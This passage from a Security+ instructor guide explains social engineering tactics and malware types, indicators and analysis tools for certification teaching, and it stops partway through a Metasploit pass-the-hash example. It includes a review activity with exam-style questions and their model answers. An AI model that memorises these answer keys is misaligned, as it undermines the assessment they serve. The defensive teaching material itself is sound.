Social engineering can exploit the fact that few people are willing to admit ignorance.
Compared to using a familiarity/liking sort of approach, this sort of adversarial tactic
might be riskier to the attacker as there is a greater chance of arousing suspicion and
the target reporting the attack attempt.

Scarcity and Urgency

Often also deployed by salespeople, creating a false sense of scarcity or urgency can
disturb people's ordinary decision-making process. The social engineer can try to
pressure his or her target by demanding a quick response. For example, the social
engineer might try to get the target to sign up for a "limited time" or "invitation-only"
trial and request a username and password for the service (hoping that the target
will offer a password he or she has used for other accounts). Fake anti-virus products
generate a sense of urgency by trying to trick users into thinking that their computer is
already infected with malware.

Impersonation and Trust Show Slide(s)

Impersonation simply means pretending to be someone else. It is one of the basic Impersonation and
social engineering techniques. Impersonation can use either a consensus/liking or Trust
intimidating approach. Impersonation is possible where the target cannot verify the
attacker's identity easily, such as over the phone or via an email message.
The classic impersonation attack is for the social engineer to phone into a department,
claim they have to adjust something on the user's system remotely, and get the user to
reveal their password. This specific attack is also referred to as pretexting.

Lesson 4: Identifying Social Engineering and Malware | Topic 4A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 76 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Do you really know who's on the other end of the line?

Making a convincing impersonation and establishing a trust with the target usually
depends on the attacker obtaining privileged information about the organization.
For example, where the attacker impersonates a member of the organization's IT
support team, the attack will be more effective with identity details of the person being
impersonated and the target.
Some social engineering techniques are dedicated to obtaining this type of intelligence
as a reconnaissance activity. As most companies are set up toward customer service
rather than security, this information is typically quite easy to come by. Information
that might seem innocuous—such as department employee lists, job titles, phone
numbers, diaries, invoices, or purchase orders—can help an attacker penetrate an
organization through impersonation.

Show Slide(s) Dumpster Diving and Tailgating

Dumpster Diving and
Social engineering includes physical attacks to steal information or gain access.
Tailgating
Dumpster Diving
Teaching
Tip
Dumpster diving refers to combing through an organization's (or individual's) garbage
to try to find useful documents (or even files stored on discarded removable media).
It's also worth noting
the risks of social
networking sites and Remember that attacks may be staged over a long period. Initial attacks may only aim at
how much PII can compromising low-level information and user accounts, but this low-level information can
be exposed through be used to attack more sensitive and confidential data and better protected management
profiles on Facebook, and administrative accounts.
et al.

Tailgating and Piggy Backing

Tailgating is a means of entering a secure area without authorization by following
close behind the person that has been allowed to open the door or checkpoint. Piggy
backing is a similar situation, but means that the attacker enters a secure area with an
employee's permission. For instance, an attacker might impersonate a member of the
cleaning crew and request that an employee hold the door open while they bring in a
cleaning cart or mop bucket. Alternatively, piggy backing may be a means of an insider
threat actor to allow access to someone without recording it in the building's entry log.
Another technique is to persuade someone to hold a door open, using an excuse, such
as "I've forgotten my badge/key."

Lesson 4: Identifying Social Engineering and Malware | Topic 4A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 77

Identity Fraud and Invoice Scams Show Slide(s)

Identity fraud is a specific type of impersonation where the attacker uses specific Identity Fraud and
details of someone's identity. A typical consumer identity fraud is using someone else's Invoice Scams
name and address to make a loan application or using stolen credit card details to start
a mobile phone contract. Invoice scams are another common type of identity fraud.
The fraudster will usually spoof the invoice details of a genuine supplier, but change
the bank account number. This might rely on the target not double-checking the
account, or it might be combined with a social engineering contact call to convince the
target that the account change is genuine.

Sometimes the terms identity fraud and identity theft are used to distinguish between
making up an identity versus stealing someone else's identity.

In terms of attacks on corporate networks, identity fraud is likely to involve

compromising a computer account. Various social engineering techniques can be used
to obtain account credentials without having to rely on malware, Apart from eliciting
credential information from a user directly, some of these techniques include:
• Credential databases—account details from previous attacks are widely available
(haveibeenpwned.com). An attacker can try to match a target in one of these
databases and hope that they have reused a password. The attacker could also
leverage third-party sites for impersonation. For example, rather than using a work
account, they could gain control of a social media account.

• Shoulder surfing—a threat actor can learn a password or PIN (or other secure
information) by watching the user type it. Despite the name, the attacker may not
have to be in close proximity to the target—they could use high-powered binoculars
or CCTV to directly observe the target remotely.
Show Slide(s)
• Lunchtime attacks—most authentication methods are dependent on the physical
security of the workstation. If a user leaves a workstation unattended while logged
on, an attacker can physically gain access to the system. This is often described as a Phishing, Whaling, and
lunchtime attack. Most operating systems are set to activate a password-protected Vishing
screen saver after a defined period of no keyboard or mouse activity. Users should
Teaching
also be trained to lock or log off the workstation whenever they leave it unattended.
Tip
Some of this
Phishing, Whaling, and Vishing terminology is of
limited value, but
Phishing is a combination of social engineering and spoofing. It persuades or tricks students need to learn
it. The basic points
the target into interacting with a malicious resource disguised as a trusted one,
are that "phishing"
traditionally using email as the vector. A phishing message might try to convince the can use any type
user to perform some action, such as installing disguised malware or allowing a remote of communication
access connection by the attacker. Other types of phishing campaign use a spoof method to trick the
website set up to imitate a bank or e‑commerce site or some other web resource that target into interacting
should be trusted by the target. The attacker then emails users of the genuine website with a spoofed
resource, and can
informing them that their account must be updated or with some sort of hoax alert or
either be general
alarm, supplying a disguised link that actually leads to the spoofed site. When the user in nature or highly
authenticates with the spoofed site, their logon credentials are captured. targeted.

Lesson 4: Identifying Social Engineering and Malware | Topic 4A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 78 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Example phishing email—On the right, you can see the message in its true form as the mail client has
stripped out the formatting (shown on the left) designed to disguise the nature of the links.

There are several phishing variants to be aware of:

• Spear phishing—a phishing scam where the attacker has some information that
makes an individual target more likely to be fooled by the attack. Each phishing
message is tailored to address a specific target user. The attacker might know the
name of a document that the target is editing, for instance, and send a malicious
copy, or the phishing email might show that the attacker knows the recipient's full
name, job title, telephone number, or other details that help convince the target
that the communication is genuine.

• Whaling—a spear phishing attack directed specifically against upper levels of

management in the organization (CEOs and other "big fish"). Upper management
may also be more vulnerable to ordinary phishing attacks because of their
reluctance to learn basic security procedures.

• Vishing—a phishing attack conducted through a voice channel (telephone or

VoIP, for instance). For example, targets could be called by someone purporting
to represent their bank asking them to verify a recent credit card transaction and
requesting their security details. It can be much more difficult for someone to refuse
a request made in a phone call compared to one made in an email.

Rapid improvements in deep fake technology (forbes.com/sites/jessedamiani/2019/09/03/a-

voice-deepfake-was-used-to-scam-a-ceo-out-of-243000) are likely to make phishing attempts
via voice and even video messaging more prevalent in the future.

• SMiShing—this refers to using simple message service (SMS) text communications

as the vector.

Show Slide(s) Spam, Hoaxes, and Prepending

Spam, Hoaxes, and
Unsolicited email, or spam, is used as the vector for many attacks. Threat actors
Prepending harvest email addresses from marketing lists or databases of historic privacy breaches,
or might try to target every email address at a certain company. Mass mail attacks

Lesson 4: Identifying Social Engineering and Malware | Topic 4A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 79

could also be perpetrated over any type of instant messaging or Internet messaging
service (SPIM).
Hoaxes, such as security alerts or chain emails, are another common social
engineering technique, often combined with phishing attacks. An email alert or web
pop-up will claim to have identified some sort of security problem, such as virus
infection, and offer a tool to fix the problem. The tool of course will be some sort of
Trojan application. Malvertising exploits the use of space on legitimate websites set
aside for advertising served from content delivery networks (CDNs) without much
oversight (blog.talosintelligence.com/2019/07/malvertising-deepdive.html). Criminals
will also use sophisticated phone call scams to try to trick users into revealing login
credentials or financial account details.
A phishing or hoax email can be made more convincing by prepending. In an offensive
sense, prepending means adding text that appears to have been generated by the mail
system. For example, an attacker may add "RE:" to the subject line to make it appear
as though the message is a reply or may add something like "MAILSAFE: PASSED" to
make it appear as though a message has been scanned and accepted by some security
software. Conversely, some mail systems may perform prepending legitimately,
such as tagging external messages or messages with a warning if they have not been
definitively identified as spam but that do have suspicious elements.

Pharming and Credential Harvesting Show Slide(s)

Direct messages to a single contact have quite a high chance of failure. Other social Pharming and
engineering techniques still use spoofed resources, such as fake sites and login pages, Credential Harvesting
but rely on redirection or passive methods to entrap victims.
Teaching
Pharming Tip
Make sure students
Pharming is a passive means of redirecting users from a legitimate website to a can distinguish
malicious one. Rather than using social engineering techniques to trick the user, phishing and
pharming relies on corrupting the way the victim's computer performs Internet name pharming.
resolution, so that they are redirected from the genuine site to the malicious one. For
example, if mybank.foo should point to the IP address 2.2.2.2, a pharming attack would
corrupt the name resolution process to make it point to IP address 6.6.6.6.

Typosquatting
Rather than redirection, a threat actor might use typosquatting. This means that
the threat actor registers a domain name that is very similar to a real one, such
as connptia.org, hoping that users will not notice the difference. These are
also referred to as cousin, lookalike, or doppelganger domains. Typosquatting might
be used for pharming and phishing attacks. Another technique is to register a
hijacked subdomain using the primary domain of a trusted cloud provider, such as
onmicrosoft.com. If a phishing message appears to come from comptia.
onmicrosoft.com, many users will be inclined to trust it.
Watering Hole Attack
A watering hole attack is another passive technique where the threat actor does not
have to risk communicating directly with the target. It relies on the circumstance that a
group of targets may use an unsecure third-party website. For example, staff running
an international e-commerce site might use a local pizza delivery firm. If an attacker
can compromise the pizza delivery firm's website or deploy a type of malvertising,
they may be able infect the computers of the e-commerce company's employees and
penetrate the e-commerce company systems.

Lesson 4: Identifying Social Engineering and Malware | Topic 4A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 80 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Credential Harvesting
Within the general realm of phishing and pharming, credential harvesting is a
campaign specifically designed to steal account credentials. The attacker may have
more interest in selling the database of captured logins than trying to exploit them
directly. Such attacks will use an alarming message such as "Your account is being used
to host child pornography" or "There is a problem with your account storage" and a link
to a pharming site embroidered with the logos of a legitimate service provider, such as
Google, Microsoft, Facebook, or Twitter. Attacks using malvertising or scripts injected
into shopping cart code are also popular (csoonline.com/article/3400381/what-is-
magecart-how-this-hacker-group-steals-payment-card-data.html). Targeted credential
harvesting might be directed against a single company's password reset or account
management portal.

Show Slide(s) Influence Campaigns

Influence Campaigns
An influence campaign is a major program launched by an adversary with a high level
of capability, such as a nation-state actor, terrorist group, or hacktivist group. The goal
Teaching of an influence campaign is to shift public opinion on some topic. Most high-profile
Tip influence campaigns that have been detected target election activity, but actors may
The Twitter hack
use such campaigns to pursue a number of goals. With state actors, the concept of
to persuade soft power refers to using diplomatic and cultural assets to achieve an objective. When
people to buy fake deployed along with espionage, disinformation/fake news, and hacking, a hostile
cryptocurrency via campaign can be characterized as hybrid warfare (assets.publishing.service.gov.uk/
injected tweets from government/uploads/system/uploads/attachment_data/file/840513/20190401-MCDC_
high-profile individuals
CHW_Information_note_-_Conceptual_Foundations.pdf).
is one example of a
non-political influence Diplomatic activity and election meddling by foreign security services has a very long
campaign, albeit history and well-established tactics. Modern campaigns can use social media to ensure
a short-lived one
(theverge.com/2020/
wide distribution of hoaxes and invented stories. Actors can use AI-assisted bots and
7/15/21326200/ armies of people to open or hack accounts and repeat or reinforce messages that
elon-musk-bill-gates- support the campaign's aims.
twitter-hack-bitcoin-
scam-compromised). Apart from destabilizing the host country generally, influence campaigns might affect
private companies because they become caught up within a fake story. It is important
for companies to closely monitor references to them on social media and take steps
to correct or remove false or misleading posts. When an influence campaign is
detected, companies operating in critical industries—utilities, election management,
transportation—should enter a heightened state of alert.

Lesson 4: Identifying Social Engineering and Malware | Topic 4A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 81

Review Activity:
Social Engineering Techniques
Answer the following questions:

1. The help desk takes a call and the caller states that she cannot connect to
the e-commerce website to check her order status. She would also like a
user name and password. The user gives a valid customer company name
but is not listed as a contact in the customer database. The user does not
know the correct company code or customer ID. Is this likely to be a social
engineering attempt, or is it a false alarm?

This is likely to be a social engineering attempt. The help desk should not give out any
information or add an account without confirming the caller's identity.

2. A purchasing manager is browsing a list of products on a vendor's website

when a window opens claiming that anti-malware software has detected
several thousand files on his computer that are infected with viruses.
Instructions in the official-looking window indicate the user should click a
link to install software that will remove these infections. What type of social
engineering attempt is this, or is it a false alarm?

This is a social engineering attempt utilizing a watering hole attack and/or malvertising.

3. Your CEO calls to request market research data immediately be forwarded

to her personal email address. You recognize her voice, but a proper request
form has not been filled out and use of third-party email is prohibited.
She states that normally she would fill out the form and should not be an
exception, but she urgently needs the data to prepare for a round table at
a conference she is attending. What type of social engineering techniques
could this use, or is it a false alarm?

If social engineering, this is spear phishing (the attack uses specific detail) over a voice
channel (vishing). It is possible that it uses deep fake technology for voice mimicry.
The use of a sophisticated attack for a relatively low-value data asset seems unlikely,
however. A fairly safe approach would be to contact the CEO back on a known
mobile number.

4. Your company manages marketing data and private information for many
high-profile clients. You are hosting an open day for prospective employees.
With the possibility of social engineering attacks in mind, what precautions
should employees take when the guests are being shown around the office?

Employees should specifically be wary of shoulder surfing attempts to observe

passwords and the like.

Lesson 4: Identifying Social Engineering and Malware | Topic 4A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 82 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 4B
Analyze Indicators
of Malware-Based Attacks

Teaching EXAM OBJECTIVES COVERED

Tip 1.2 Given a scenario, analyze potential indicators to determine the type of attack
4.1 Given a scenario, use the appropriate tool to assess organizational security
Basic malware types
are covered in exams
(Cuckoo only)
from ITF+ up, but
ensure students can
distinguish all the One of the most prevalent threats to computers today is malicious code. As a security
types listed here. Try professional, you will likely have experience in dealing with unwanted software
to focus on detection infecting your systems. By classifying the various types of malware and identifying the
of indicators.
signs of infection, you will be better prepared remediate compromised systems or
Other parts of
prevent malware from executing in the first place.
objective 1.2, such
as cryptographic,
password, and
physical attacks, are
Malware Classification
covered elsewhere in Many of the intrusion attempts perpetrated against computer networks depend
the course.
on the use of malicious software, or malware. Malware is usually simply defined as
Show Slide(s) software that does something bad, from the perspective of the system owner. There
are many types of malware, but they are not classified in a rigorous way, so some
definitions overlap or are blurred. Some malware classifications, such as Trojan, virus,
Malware Classification
and worm, focus on the vector used by the malware. The vector is the method by
Teaching which the malware executes on a computer and potentially spreads to other network
Tip hosts. Another complicating factor with malware classification is the degree to which
its installation is expected or tolerated by the user. The following categories describe
Try to distinguish
methods that classify some types of malware according to vector:
malware by the • Viruses and worms—these represent some of the first types of malware and spread
vector from those
that describe the
without any authorization from the user by being concealed within the executable
payload or goal of the code of another process.
malware.
• Trojan—malware concealed within an installer package for software that appears
to be legitimate. This type of malware does not seek any type of consent for
installation and is actively designed to operate secretly.

• Potentially unwanted programs (PUPs)/Potentially unwanted applications

(PUAs)—software installed alongside a package selected by the user or perhaps
bundled with a new computer system. Unlike a Trojan, the presence of a PUP is
not automatically regarded as malicious. It may have been installed without active
consent or consent from a purposefully confusing license agreement. This type of
software is sometimes described as grayware rather than malware.

Other classifications are based on the payload delivered by the malware. The payload
is an action performed by the malware other than simply replicating or persisting on
a host. Examples of payload classifications include spyware, rootkit, remote access
Trojan (RAT), and ransomware.

Lesson 4: Identifying Social Engineering and Malware | Topic 4B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 83

Malware classification by vector.

Computer Viruses Show Slide(s)

A computer virus is a type of malware designed to replicate and spread from computer Computer Viruses
to computer, usually by "infecting" executable applications or program code. There are
several different types of viruses and they are generally classified by the different types
of file or media that they infect:
• Non-resident/file infector—the virus is contained within a host executable file and
runs with the host process. The virus will try to infect other process images on
persistent storage and perform other payload actions. It then passes control back to
the host program.

• Memory resident—when the host file is executed, the virus creates a new process
for itself in memory. The malicious process remains in memory, even if the host
process is terminated.

• Boot—the virus code is written to the disk boot sector or the partition table of a
fixed disk or USB media, and executes as a memory resident process when the OS
starts or the media is attached to the computer.

• Script and macro viruses—the malware uses the programming features available
in local scripting engines for the OS and/or browser, such as PowerShell, Windows
Management Instrumentation (WMI), JavaScript, Microsoft Office documents with
Visual Basic for Applications (VBA) code enabled, or PDF documents with JavaScript
enabled.

In addition, the term multipartite is used for viruses that use multiple vectors and
polymorphic for viruses that can dynamically change or obfuscate their code to evade
detection.
What these types of viruses have in common is that they must infect a host file or
media. An infected file can be distributed through any normal means—on a disk, on
a network, as an attachment to an email or social media post, or as a download from
a website.

Lesson 4: Identifying Social Engineering and Malware | Topic 4B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 84 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Unsafe attachment detected by Outlook's mail filter—The "double" file extension is an unsophisticated
attempt to fool any user not already alerted by the use of both English and German in the message
text. (Screenshot used with permission from Microsoft.)

Show Slide(s) Computer Worms and Fileless Malware

Computer Worms and
A computer worm is memory-resident malware that can run without user intervention
Fileless Malware and replicate over network resources. A virus is executed only when the user performs
an action such as downloading and running an infected executable process, attaching
Teaching an infected USB stick, or opening an infected Word document with macros enabled. By
Tip contrast, a worm can execute by exploiting a vulnerability in a process when the user
Where virus requires browses a website, runs a vulnerable server application, or is connected to an infected
a file or media to file share. For example, the Code-Red worm was able to infect early versions of
replicate, worms and Microsoft's IIS web server software via a buffer overflow vulnerability. It then scanned
fileless can replicate
randomly generated IP ranges to try to infect other vulnerable IIS servers (caida.org/
between processes in
memory on the local research/security/code-red).
host and over network The primary effect of the first types of computer worm is to rapidly consume network
shares.
bandwidth as the worm replicates. A worm may also be able to crash an operating
Fileless is tricky to system or server application (performing a Denial of Service attack). Also, like viruses,
define exactly, but it
illustrates the wide worms can carry a payload that may perform some other malicious action.
range of vectors that The Conficker worm illustrated the potential for remote code execution and memory-
threat actors can
resident malware to effect highly potent attacks (secureworks.com/research/
exploit.
downadup-removal). As malware has continued to be developed for criminal intent
and security software became better able to detect and block static threats, malware
code and techniques have become more sophisticated. The term fileless has gained
prominence to refer to these modern types of malware. Fileless is not a definitive
classification, but it describes a collection of common behaviors and techniques:
• Fileless malware does not write its code to disk. The malware uses memory resident
techniques to run in its own process, within a host process or dynamic link library
(DLL), or within a scripting host. This does not mean that there is no disk activity

Lesson 4: Identifying Social Engineering and Malware | Topic 4B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 85

at all, however. The malware may change registry values to achieve persistence
(executing if the host computer is restarted). The initial execution of the malware
may also depend on the user running a downloaded script, file attachment, or
Trojan software package.

• Fileless malware uses lightweight shellcode to achieve a backdoor mechanism

on the host. The shellcode is easy to recompile in an obfuscated form to evade
detection by scanners. It is then able to download additional packages or payloads
to achieve the actor's actions on objectives. These packages can also be obfuscated,
streamed, and compiled on the fly to evade automated detection.

• Fileless malware may use "live off the land" techniques rather than compiled
executables to evade detection. This means that the malware code uses
legitimate system scripting tools, notably PowerShell and Windows Management
Instrumentation (WMI), to execute payload actions. If they can be executed with
sufficient permissions, these environments provide all the tools the attacker needs
to perform scanning, reconfigure settings, and exfiltrate data.

The terms advanced persistent threat (APT) and advanced volatile threat (AVT) can be
used to describe this general class of modern fileless/live off the land malware.
Another useful classification is low observable characteristics (LOC) attack (mcafee.
com/enterprise/en-us/security-awareness/ransomware/what-is-fileless-malware.html).
The exact classification is less important than the realization that adversaries can use
any variety of coding tricks to effect intrusions and that their tactics, techniques, and
procedures to evade detection are continually evolving.

Spyware and Keyloggers Show Slide(s)

The first viruses and worms focused on the destructive potential of being able to Spyware and
replicate. As the profitable uses this software became apparent, however, they started Keyloggers
to be coded with payloads designed to facilitate intrusion, fraud, and data theft.
Various types of unwanted code and malware perform some level of monitoring: Teaching
Tip
• Tracking cookies—cookies are plain text files, not malware, but if browser settings
allow third-party cookies, they can be used to record pages visited, search queries, Spyware/keylogger is
a means of classifying
browser metadata, and IP address. Tracking cookies are created by adverts and
malware by its
analytics widgets embedded into many websites. purpose, rather than
vector.
• Adware—this is a class of PUP/grayware that performs browser reconfigurations,
such as allowing tracking cookies, changing default search providers, opening
sponsor's pages at startup, adding bookmarks, and so on. Adware may be installed
as a program or as a browser extension/plug-in.

• Spyware—this is malware that can perform adware-like tracking, but also monitor
local application activity, take screenshots, and activate recording devices, such as a
microphone or webcam. Another spyware technique is perform DNS redirection to
pharming sites.

• A keylogger is spyware that actively attempts to steal confidential information by

recording keystrokes. The attacker will usually hope to discover passwords or credit
card data.

Lesson 4: Identifying Social Engineering and Malware | Topic 4B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 86 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Actual Keylogger is Windows software that can run in the background to monitor different kinds of
computer activity (opening and closing programs, browsing websites, recording keystrokes, and
capturing screenshots). (Screenshot used with permission from ActualKeylogger.com.)

Keyloggers are not only implemented as software. A malicious script can transmit key
presses to a third-party website. There are also hardware devices to capture key presses to
a modified USB adapter inserted between the keyboard and the port. Such devices can store
data locally or come with Wi-Fi connectivity to send data to a covert access point. Other
attacks include wireless sniffers to record key press data, overlay ATM pin pads, and so on.

Show Slide(s) Backdoors and Remote Access Trojans

Backdoors and
Any type of access method to a host that circumvents the usual authentication method
Remote Access and gives the remote user administrative control can be referred to as a backdoor.
Trojans A remote access trojan (RAT) is backdoor malware that mimics the functionality of
legitimate remote control programs, but is designed specifically to operate covertly.
Once the RAT is installed, it allows the threat actor to access the host, upload files, and
install software or use "live off the land" techniques to effect further compromises.

In this context, RAT can also stand for Remote Administration Tool. A host that is under
malicious control is sometimes described as a zombie.

A compromised host can be installed with one or more bots. A bot is an automated
script or tool that performs some malicious activity. A group of bots that are all under
the control of the same malware instance can be manipulated as a botnet by the
herder program. A botnet can be used for many types of malicious purpose, including
triggering distributed denial of service (DDoS) attacks, launching spam campaigns, or
performing cryptomining.

Lesson 4: Identifying Social Engineering and Malware | Topic 4B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 87

SubSeven RAT. (Screenshot used with permission from Wikimedia Commons by CCAS4.0 International.)

Whether a backdoor is used as a standalone intrusion mechanism or to manage

bots, the threat actor must establish a connection from the compromised host to a
command and control (C2 or C&C) host or network. This network connection is usually
the best way to identify the presence of a RAT, backdoor, or bot. There are many means
of implementing a C&C network as a covert channel to evade detection and filtering.
Historically, the Internet relay chat (IRC) protocol was popular. Modern methods are
more likely to use command sequences embedded in HTTPS or DNS traffic.

Backdoors can be created in other ways than infection by malware. Programmers

may create backdoors in software applications for testing and development that are
subsequently not removed when the application is deployed. Backdoors are also created
by misconfiguration of software or hardware that allows access to unauthorized users.
Examples include leaving a router configured with the default administrative password,
having a Remote Desktop connection configured with an unsecure password, or leaving a
modem open to receive dial-up connections.

Rootkits Show Slide(s)

In Windows, malware can only be manually installed with local administrator privileges. Rootkits
This means the user must be confident enough in the installer package to enter the
credentials or accept the User Account Control (UAC) prompt. Windows tries to protect
the system from abuse of administrator privileges. Critical processes run with a higher
level of privilege (SYSTEM). Consequently, Trojans installed in the same way as regular

Lesson 4: Identifying Social Engineering and Malware | Topic 4B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 88 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

software cannot conceal their presence entirely and will show up as a running process
or service. Often the process image name is configured to be similar to a genuine
executable or library to avoid detection. For example, a Trojan may use the filename
"run32d11" to masquerade as "run32dll". To ensure persistence (running when the
computer is restarted), the Trojan may have to use a registry entry or create itself as a
service, which can usually be detected fairly easily.
If the malware can be delivered as the payload for an exploit of a severe vulnerability,
it may be able to execute without requiring any authorization using SYSTEM privileges.
Alternatively, the malware may be able to use an exploit to escalate privileges after
installation. Malware running with this level of privilege is referred to as a rootkit. The
term derives from UNIX/Linux where any process running as root has unrestricted
access to everything from the root of the file system down.
In theory, there is nothing about the system that a rootkit could not change. In practice,
Windows uses other mechanisms to prevent misuse of kernel processes, such as
code signing (microsoft.com/security/blog/2017/10/23/hardening-the-system-and-
maintaining-integrity-with-windows-defender-system-guard). Consequently, what
a rootkit can do depends largely on adversary capability and level of effort. When
dealing with a rootkit, you should be aware that there is the possibility that it can
compromise system files and programming interfaces, so that local shell processes,
such as Explorer, taskmgr, or tasklist on Windows or ps or top on Linux, plus port
scanning tools, such as netstat, no longer reveals its presence (at least, if run from the
infected machine). A rootkit may also contain tools for cleaning system logs, further
concealing its presence (microsoft.com/en-us/wdsi/threats/malware-encyclopedia-
description?Name=Win32%2fCutwail).

Software processes can run in one of several "rings." Ring 0 is the most privileged (it
provides direct access to hardware) and so should be reserved for kernel processes only.
Ring 3 is where user-mode processes run; drivers and I/O processes may run in Ring 1 or
Ring 2. This architecture can also be complicated by the use of virtualization.

There are also examples of rootkits that can reside in firmware (either the computer
firmware or the firmware of any sort of adapter card, hard drive, removable drive, or
peripheral device). These can survive any attempt to remove the rootkit by formatting
the drive and reinstalling the OS. For example, the US intelligence agencies have
developed DarkMatter and QuarkMatter EFI rootkits targeting the firmware on Apple
Macbook laptops (pcworld.com/article/3179348/after-cia-leak-intel-security-releases-
detection-tool-for-efi-rootkits.html).

Show Slide(s) Ransomware, Crypto-Malware, and Logic Bombs

Ransomware, Crypto-
Ransomware is a type of malware that tries to extort money from the victim. One class
Malware, and Logic of ransomware will display threatening messages, such as requiring Windows to be
Bombs reactivated or suggesting that the computer has been locked by the police because it
was used to view child pornography or for terrorism. This may apparently block access
to the file system by installing a different shell program, but this sort of attack is usually
relatively simple to fix.

Lesson 4: Identifying Social Engineering and Malware | Topic 4B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 89

WannaCry ransomware. (Image by Wikimedia Commons.)

The crypto-malware class of ransomware attempts to encrypt data files on any fixed,
removable, and network drives. If the attack is successful, the user will be unable to
access the files without obtaining the private encryption key, which is held by the
attacker. If successful, this sort of attack is extremely difficult to mitigate, unless the
user has up to date backups of the encrypted files. One example of this is Cryptolocker,
a Trojan that searches for files to encrypt and then prompts the victim to pay a sum of
money before a certain countdown time, after which the malware destroys the key that
allows the decryption.
Ransomware uses payment methods, such as wire transfer, cryptocurrency, or
premium rate phone lines, to allow the attacker to extort money without revealing his
or her identity or being traced by local law enforcement.
Another type of crypto-malware hijacks the resources of the host to perform
cryptocurrency mining. This is referred to as crypto-mining or cryptojacking. The total
number of coins within a cryptocurrency is limited by the difficulty of performing the
calculations necessary to mint a new digital coin. Consequently, new coins can be very
valuable, but it takes enormous computing resources to discover them. Cryptojacking
is often performed across botnets.
Some types of malware do not trigger automatically. Having infected a system, they
wait for a pre-configured time or date (time bomb) or a system or user event (logic
bomb). Logic bombs also need not be malware code. A typical example is a disgruntled
system administrator who leaves a scripted trap that runs in the event his or her
account is deleted or disabled. Anti-virus software is unlikely to detect this kind of
malicious script or program. This type of trap is also referred to as a mine.

Lesson 4: Identifying Social Engineering and Malware | Topic 4B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 90 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Malware Indicators

Malware Indicators
Given the range of malware types, there are many potential indicators. Some types
of malware display obvious changes, such as adjusting browser settings or displaying
Teaching ransom notices. If malware is designed to operate covertly, indicators can require
Tip detailed analysis of process, file system, and network behavior.
Make sure students
know which tools Anti-Virus Notifications
to use to collect
indicators of malware Most hosts should be running some type of anti-virus (A-V) software. While the
presence and type. A-V moniker remains popular, these suites are better conceived of as endpoint
protection platforms (EPPs) or next-gen A-V. These detect malware by signature
regardless of type, though detection rates can vary quite widely from product to
product. Many suites also integrate with user and entity behavior analytics (UEBA)
and use AI-backed analysis to detect threat actor behavior that has bypassed malware
signature matching.

Sandbox Execution
If it is not detected by endpoint protection, you may want to analyze the suspect code
in a sandboxed environment. A sandbox is a system configured to be completely
isolated from its host so that the malware cannot "break out." The sandbox will be
designed to record file system and registry changes plus network activity. Cuckoo
is packaged software that aims to provide a turnkey sandbox solution
(cuckoosandbox.org).

Resource Consumption
Abnormal resource consumption can be detected using a performance monitor, Task
Manager, or the top Linux utility. Indicators such as excessive and continuous CPU
usage, memory leaks, disk read/write activity, and disk space usage can be signs of
malware, but can also be caused by many other performance and system stability
issues. Also, it is only really poorly written malware or malware that performs intensive
operations (botnet DDoS, cryptojacking, and cryptoransomware, for instance) that
displays this behavior. Resource consumption could be a reason to investigate a
system rather than definitive proof of infection.

File System
While fileless malware is certainly prevalent, file system change or anomaly analysis
is still necessary. Even if the malware code is not saved to disk, the malware is still
likely to interact with the file system and registry, revealing its presence by behavior.
A computer's file system stores a great deal of useful metadata about when files were
created, accessed, or modified. Analyzing these metadata and checking for suspicious
temporary files can help you establish your timeline of events for an incident that has
left traces on a host and its files.

Show Slide(s) Process Analysis

Process Analysis
Because shellcode is easy to obfuscate, it can often evade signature-based A-V
products. Threat hunting and security monitoring must use behavioral-based
techniques to identify infections. This means close analysis of the processes running
in system memory on a host. To perform abnormal process behavior analysis
effectively, you should build up a sense of what is "normal" in a system and spot
deviations in a potentially infected system. You also need to use appropriate analysis
tools. Sysinternals (docs.microsoft.com/en-us/sysinternals) is a suite of tools designed
to assist with troubleshooting issues with Windows, and many of the tools are suited
to investigating security issues. The Sysinternals tool Process Explorer is an enhanced

Lesson 4: Identifying Social Engineering and Malware | Topic 4B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 91

version of Task Manager. You can view extra information about each process and
better understand how processes are created in parent/child relationships.
In this example, the Metasploit Framework is being used to obtain access via a
remotely executed PowerShell prompt, with privileges obtained by passing a captured
hash. This attack leverages the Sysinternals PsExec utility to drop a service executable
into the Admin$ share on the remote machine. In this variant of the attack, the service
starts PowerShell. Pointing to the powershell.exe image in Process Explorer shows the
parameters that the process launched with. In this case, the command used to start
